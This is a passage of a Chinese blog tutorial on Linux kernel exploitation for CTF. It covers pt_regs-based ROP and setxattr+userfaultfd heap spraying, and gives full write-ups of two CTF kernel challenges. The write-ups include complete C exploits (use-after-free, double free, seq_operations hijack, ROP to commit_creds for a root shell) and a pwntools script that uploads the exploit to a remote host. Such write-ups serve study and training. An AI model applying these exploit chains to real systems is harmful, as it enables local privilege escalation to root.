* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};

在内核栈上的结构如下:

image.png

内核栈 与通用 ROP

我们都知道,内核栈只有一个页面的大小,而 pt_regs 结构体则固定位于内核栈栈底,当我们劫持内核结构体中的某个函数指针时(例如 seq_operations->start),在我们通过该函数指针劫持内核执行流时 rsp 与 栈底的相对偏移通常是不变的

而在系统调用当中过程有很多的寄存器其实是不一定能用上的,比如 r8 ~ r15,这些寄存器为我们布置 ROP 链提供了可能,我们不难想到:

  • 只需要寻找到一条形如 “add rsp, val ; ret” 的 gadget 便能够完成 ROP

这是一个通用的 ROP 板子,方便调试时观察:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;" // 这里假定通过 seq_operations->stat 来触发
"syscall"
);

新版本内核对抗利用 pt_regs 进行攻击的办法

正所谓魔高一尺道高一丈,内核主线在 这个 commit 中为系统调用栈添加了一个偏移值,这意味着 pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值

1
2
3
4
5
6
7
8
9
10
11
12
diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
index 4efd39aacb9f2..7b2542b13ebd9 100644
--- a/arch/x86/entry/common.c
+++ b/arch/x86/entry/common.c
@@ -38,6 +38,7 @@
#ifdef CONFIG_X86_64
__visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs)
{
+ add_random_kstack_offset();
nr = syscall_enter_from_user_mode(regs, nr);

instrumentation_begin();

当然,若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下,仍然可以通过布置一些 slide gadget 来继续完成利用,不过稳定性也大幅下降了, 可以说这种利用方式基本上是废了

例题:西湖论剑2021线上初赛 - easykernel

今年的西湖论剑的宣传比以往的阵势要大得多,笔者在学校饭堂吃完饭出来都能碰到发传单的,这一次笔者与笔者的队友也参加了本次的西湖论剑CTF,其中有一道 easykernl 算是一道质量还可以的的 kernel pwn 入门题,可惜在比赛时笔者手慢一步只拿到了三血

闲话不多说,以下是题解

① 分析

首先查看启动脚本

1
2
3
4
5
6
7
8
9
10
#!/bin/sh

qemu-system-x86_64 \
-m 64M \
-cpu kvm64,+smep \
-kernel ./bzImage \
-initrd rootfs.img \
-nographic \
-s \
-append "console=ttyS0 kaslr quiet noapic"

开了 SMEP 和 KASLR

运行启动脚本,查看 /sys/devices/system/cpu/vulnerabilities/*

1
2
3
4
5
6
7
8
9
10
/ $ cat /sys/devices/system/cpu/vulnerabilities/*
KVM: Mitigation: VMX unsupported
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected
Not affected

开启了 PTI (页表隔离)

题目给了个 test.ko,按惯例这就是有漏洞的 LKM

拖入 IDA 进行分析,发现只定义了 ioctl,可以看出是常见的“菜单堆”,给出了分配、释放、读、写 object 的功能

image.png

对于分配 object,我们需要传入如下形式结构体:

1
2
3
4
5
struct
{
size_t size;
void *buf;
}

对于释放、读、写 object,则需要传入如下形式结构体

1
2
3
4
5
6
struct 
{
size_t idx;
size_t size;
void *buf;
};
分配:0x20

比较常规的 kmalloc,没有限制size,最多可以分配 0x20 个 chunk

image.png

释放:0x30

kfree 以后没有清空指针,直接就有一个裸的 UAF 糊脸

image.png

读:0x40

会调用 show 函数

image.png

其实就是套了一层皮的读 object 内容,加了一点点越界检查

image.png

写:0x50

常规的写入 object,加了一点点检查

image.png

② 解法:UAF + seq_operations + pt_regs + ROP

题目没有说明,那笔者默认应该是没开 Hardened Freelist,现在又有 UAF,那么解法就是多种多样的了,笔者这里选择用 seq_operations + pt_regs 构造 ROP 进行提权

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#include <fcntl.h>
#include <stddef.h>

#define COMMIT_CREDS 0xffffffff810c8d40
#define SEQ_OPS_0 0xffffffff81319d30
#define INIT_CRED 0xffffffff82663300
#define POP_RDI_RET 0xffffffff81089250
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00f30

long dev_fd;

struct op_chunk
{
size_t idx;
size_t size;
void *buf;
};

struct alloc_chunk
{
size_t size;
void *buf;
};

void readChunk(size_t idx, size_t size, void *buf)
{
struct op_chunk op =
{
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(dev_fd, 0x40, &op);
}

void writeChunk(size_t idx, size_t size, void *buf)
{
struct op_chunk op =
{
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(dev_fd, 0x50, &op);
}

void deleteChunk(size_t idx)
{
struct op_chunk op =
{
.idx = idx,
};
ioctl(dev_fd, 0x30, &op);
}

void allocChunk(size_t size, void *buf)
{
struct alloc_chunk alloc =
{
.size = size,
.buf = buf,
};
ioctl(dev_fd, 0x20, &alloc);
}

size_t buf[0x100];
size_t swapgs_restore_regs_and_return_to_usermode;
size_t init_cred;
size_t pop_rdi_ret;
long seq_fd;
void * kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;
size_t commit_creds;
size_t gadget;

int main(int argc, char ** argv, char ** envp)
{
dev_fd = open("/dev/kerpwn", O_RDWR);

allocChunk(0x20, buf);
deleteChunk(0);
seq_fd = open("/proc/self/stat", O_RDONLY);
readChunk(0, 0x20, buf);

kernel_offset = buf[0] - SEQ_OPS_0;
kernel_base += kernel_offset;
swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset;
init_cred = INIT_CRED + kernel_offset;
pop_rdi_ret = POP_RDI_RET + kernel_offset;
commit_creds = COMMIT_CREDS + kernel_offset;
gadget = 0xffffffff8135b0f6 + kernel_offset; // add rsp 一个数然后 pop 一堆寄存器最后ret,具体的不记得了,懒得再回去翻了

buf[0] = gadget;
swapgs_restore_regs_and_return_to_usermode += 9;
writeChunk(0, 0x20, buf);

__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi_ret;"
"mov r13, init_cred;" // add rsp, 0x40 ; ret
"mov r12, commit_creds;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode;"
"mov rbx, 0x999999999;"
"mov r11, 0x114514;"
"mov r10, 0x666666666;"
"mov r9, 0x1919114514;"
"mov r8, 0xabcd1919810;"
"xor rax, rax;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);

system("/bin/sh");

return 0;
}

远程设置了120s关机,glibc 编译出来的可执行文件会比较大没法传完,这里笔者选择使用 musl

1
musl-gcc exp.c -o exp -static -masm=intel

其实写纯汇编是最小的,但是着急抢一血所以还是写常规的C,早上又有一个实验要做把时间占掉了结果最后只拿了三血…

打远程用的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
import base64
#context.log_level = "debug"

with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())

p = remote("82.157.40.132", 54100)
try_count = 1
while True:
p.sendline()
p.recvuntil("/ $")

count = 0
for i in range(0, len(exp), 0x200):
p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
count += 1
log.info("count: " + str(count))

for i in range(count):
p.recvuntil("/ $")

p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("/tmp/exploit ")
break

p.interactive()

传远程,运行,成功提权

image.png

setxattr + userfaultfd 堆占位技术(may obsolete)

setxattr 是一个十分独特的系统调用族,抛开其本身的功能,在 kernel 的利用当中他可以为我们提供近乎任意大小的内核空间 object 分配

观察 setxattr 源码,发现如下调用链:

1
2
3
SYS_setxattr()
path_setxattr()
setxattr()

setxattr() 函数中有如下逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
//...
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) {

//,..

kvfree(kvalue);

return error;
}

这里的 value 和 size 都是由我们来指定的,即我们可以分配任意大小的 object 并向其中写入内容

但是该 object 在 setxattr 执行结束时又会被放回 freelist 中,设想若是我们需要劫持该 object 的前 8 字节,那将前功尽弃

重新考虑 setxattr 的执行流程,其中会调用 copy_from_user 从用户空间拷贝数据,那么让我们考虑如下场景:

我们通过 mmap 分配连续的两个页面,在第二个页面上启用 userfaultfd,并在第一个页面的末尾写入我们想要的数据,此时我们调用 setxattr 进行跨页面的拷贝,当 copy_from_user 拷贝到第二个页面时便会触发 userfaultfd,从而让 setxattr 的执行流程卡在此处,这样这个 object 就不会被释放掉,而是可以继续参与我们接下来的利用

image.png

这便是 setxattr + userfaultfd 结合的堆占位技术

例题:SECCON 2020 kstack

① 分析

惯例地查看启动脚本:

1
2
3
4
5
6
7
8
9
10
#!/bin/sh
qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
-cpu kvm64,+smep \
-net user -net nic -device e1000 \
-monitor /dev/null \
-nographic

开启了 smep 和 kaslr

查看 /sys/devices/system/cpu/vulnerabilities/*

1
2
3
4
5
6
7
8
9
/ $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected

开启了 KPTI

拖入 IDA 中进行分析,发现只定义了一个 ioctl 的两种功能

创建链表节点

先分析第一种功能,在这里先用 kmalloc 分配了一个 object,之后将其使用头插法通过全局变量 head 插入到单向链表中

image.png

分析可知其结构应当如下所示:

1
2
3
4
5
6
struct node
{
void *unknown;
char data[8];
struct node *next;
};

该结构体前八个字节是从 current_task 的某个特殊偏移取的值,经尝试可知为线程组 id,我们来看其分配过程,使用了 kmem_cache_alloc(kmalloc_caches[5], 0x60000C0),第二个参数是 flag ,为常规的 GFP_KERNEL,这里可以暂且忽略

现在我们来看第一个参数,笔者推测这应当是 gcc 优化 kmalloc 的结果;在内核中有一个数组 kmalloc_caches 存放 kmem_cache,在内核源码 mm/slab_common.c 中我们可以得知其初始化的大小

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
* kmalloc_info[] is to make slub_debug=,kmalloc-xx option work at boot time.
* kmalloc_index() supports up to 2^25=32MB, so the final entry of the table is
* kmalloc-32M.
*/
const struct kmalloc_info_struct kmalloc_info[] __initconst = {
INIT_KMALLOC_INFO(0, 0),
INIT_KMALLOC_INFO(96, 96),
INIT_KMALLOC_INFO(192, 192),
INIT_KMALLOC_INFO(8, 8),
INIT_KMALLOC_INFO(16, 16),
INIT_KMALLOC_INFO(32, 32),
//...

下标 [5] 即第六个 kmem_cache 为 kmalloc-32,由此我们可以得知分配的 object 大小为 0x20

删除链表节点

比较简单且常规的脱链操作,会将同一线程组创建的节点中的头节点删除,并将其 data 拷贝给用户

image.png

若并节点所属线程组与当前进程非同一线程组,则会一直找到那个线程组的节点或是遍历结束为止

image.png

分析下来,联想到题目名叫 k stack,我们不难猜出这是在模拟栈的 push 与 pop 操作

② 利用

我们注意到其拷贝时使用了 copy_from_user 与 copy_to_user,且 ioctl 操作全程没有加锁,这为 userfaultfd 提供了可能性

1)泄露内核基址:shm_file_data

在创建节点时先将新的 object 赋给 head 指针,之后再调用 copy_from_user,我们不难想到的是,可以通过 userfaultfd 让分配线程在 copy_from_user 这里卡住,之后我们在 userfaultfd 线程当中再将该 object 释放,这样我们就能够读出 8 字节的“脏数据”,那么在如此之前我们应当分配一个带有可用数据的结构体并释放

由于题目限制了分配的 object 的大小,故我们应当考虑从 kmallc-32 中分配的结构体,这里笔者选用 shm_file_data 这一结构体,其定义如下:

1
2
3
4
5
6
struct shm_file_data {
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};

其中我们可以读取的 ns 域刚好指向内核 .text 段,由此我们可以泄露出内核基址

我们可以在通过 shmget 系统调用创建共享内存之后通过 shmat 系统调用获得该结构体,通过 shmdt 我们可以释放该结构体

在这里有个笔者弄不明白原因的点:我们需要先创建 userfaultfd 线程后再进行 shm 操作,否则会失败,在笔者理解中这操作两个之间的顺序并不关键

2)构造 double free

构造 double free 的流程比较简单,我们只需要在 pop 时通过 copy_to_user 触发 userfaultfd,在 userfaultfd 线程中再 pop 一次即可

3)userfaultfd + setxattr 劫持 seq_operations 控制内核执行流

现在在 kmalloc-32 当中的第一个 object 指向自身,那么在接下来的两次分配中我们都将会获得同一个 object,第一次分配时笔者选择分配到 seq_operations 处,接下来我们通过 setxattr 再一次分配到该 object,通过 setxattr 更改 seq_operations 中的指针

由于我们需要劫持其第一个指针,故这里我们不能够让 setxattr 执行到末尾将 object 又释放掉,而应当在 setxattr 中的 copy_from_user 中用 userfaultfd 卡住,在 userfaultfd 线程中触发劫持后指针控制内核执行流

控制内核执行流后笔者选择用常规的 pt_regs 来完成 ROP

4) 修复 kmalloc-32 的 freelist 拿到稳定 root shell

在我们通过 double free 完成利用之后,内核空间的 kmalloc-32 的 freelist已经被破坏了,此时我们若是直接起一个 shell 则会造成 kernel panic,因此我们在返回用户空间之后需要先修复 freelist

修复 freelist 只需要往里面放入一定数量的 object 即可,笔者选择在一开始时先多次打开 /proc/self/stat 分配大量 seq_operations 结构体做备用,之后在 setxattr 线程中将其全部释放,这样我们就能够完美着陆回用户态,安全地起一个稳定的 root shell

③ FINAL EXPLOIT

最终的 exp 如下:

kernelpwn.h 见本文开头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/xattr.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
#include "kernelpwn.h"

int dev_fd;
size_t seq_fd;
size_t seq_fd_reserve[0x100];
static char *page = NULL;
static size_t page_size;

static void *
leak_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

puts("[*] push trapped in userfaultfd.");
pop(&kernel_offset);
printf("[*] leak ptr: %p\n", kernel_offset);
kernel_offset -= 0xffffffff81c37bc0;
kernel_base += kernel_offset;

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}

static void *
double_free_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

puts("[*] pop trapped in userfaultfd.");
puts("[*] construct the double free...");
pop(page);

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}

size_t pop_rdi_ret = 0xffffffff81034505;
size_t xchg_rax_rdi_ret = 0xffffffff81d8df6d;
size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34;
long flag_fd;
char flag_buf[0x100];

static void *
hijack_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

puts("[*] setxattr trapped in userfaultfd.");
puts("[*] trigger now...");

for (int i = 0; i < 100; i++)
close(seq_fd_reserve[i]);

// trigger
pop_rdi_ret += kernel_offset;
xchg_rax_rdi_ret += kernel_offset;
mov_rdi_rax_pop_rbp_ret += kernel_offset;
prepare_kernel_cred = 0xffffffff81069e00 + kernel_offset;
commit_creds = 0xffffffff81069c10 + kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10;
printf("[*] gadget: %p\n", swapgs_restore_regs_and_return_to_usermode);
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, pop_rdi_ret;"
"mov r12, 0;"
"mov rbp, prepare_kernel_cred;"
"mov rbx, mov_rdi_rax_pop_rbp_ret;"
"mov r11, 0x66666666;"
"mov r10, commit_creds;"
"mov r9, swapgs_restore_regs_and_return_to_usermode;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
puts("[+] back to userland successfully!");
printf("[+] uid: %d gid: %d\n", getuid(), getgid());
puts("[*] execve root shell now...");
system("/bin/sh");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}

void push(char *data)
{
if (ioctl(dev_fd, 0x57AC0001, data) < 0)
errExit("push!");
}

void pop(char *data)
{
if (ioctl(dev_fd, 0x57AC0002, data) < 0)
errExit("pop!");
}

int main(int argc, char **argv, char **envp)
{
size_t data[0x10];
char *uffd_buf_leak;
char *uffd_buf_uaf;
char *uffd_buf_hack;
int pipe_fd[2];
int shm_id;
char *shm_addr;

dev_fd = open("/proc/stack", O_RDONLY);

page = malloc(0x1000);
page_size = sysconf(_SC_PAGE_SIZE);

// reserve object to protect freelist
for (int i = 0; i < 100; i++)
if ((seq_fd_reserve[i] = open("/proc/self/stat", O_RDONLY)) < 0)
errExit("seq reserve!");

// create uffd thread for leak
uffd_buf_leak = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(uffd_buf_leak, page_size, leak_thread);

// left dirty data in kmalloc-32
shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
if (shm_id < 0)
errExit("shmget!");
shm_addr = shmat(shm_id, NULL, 0);
if (shm_addr < 0)
errExit("shmat!");
if(shmdt(shm_addr) < 0)
errExit("shmdt!");

// leak kernel base
push(uffd_buf_leak);
printf("[+] kernel offset: %p\n", kernel_offset);
printf("[+] kernel base: %p\n", kernel_base);

// create uffd thread for double free
uffd_buf_uaf = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(uffd_buf_uaf, page_size, double_free_thread);

// construct the double free
push("arttnba3");
pop(uffd_buf_uaf);

// create uffd thread for hijack
uffd_buf_hack = (char*) mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(uffd_buf_hack + page_size, page_size, hijack_thread);
printf("[*] gadget: %p\n", 0xffffffff814d51c0 + kernel_offset);
*(size_t *)(uffd_buf_hack + page_size - 8) = 0xffffffff814d51c0 + kernel_offset; // add rsp , 0x1c8 ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop r15; pop rbp ; ret

// userfaultfd + setxattr to hijack the seq_ops->stat, trigger in uffd thread
seq_fd = open("/proc/self/stat", O_RDONLY);
setxattr("/exp", "arttnba3", uffd_buf_hack + page_size - 8, 32, 0);
}

运行即可 get root shell

image.png

0xFF.What’s mote?

always waiting for pwn


【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF
http://blog.arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/
作者
arttnba3
发布于
2021年3月3日
许可协议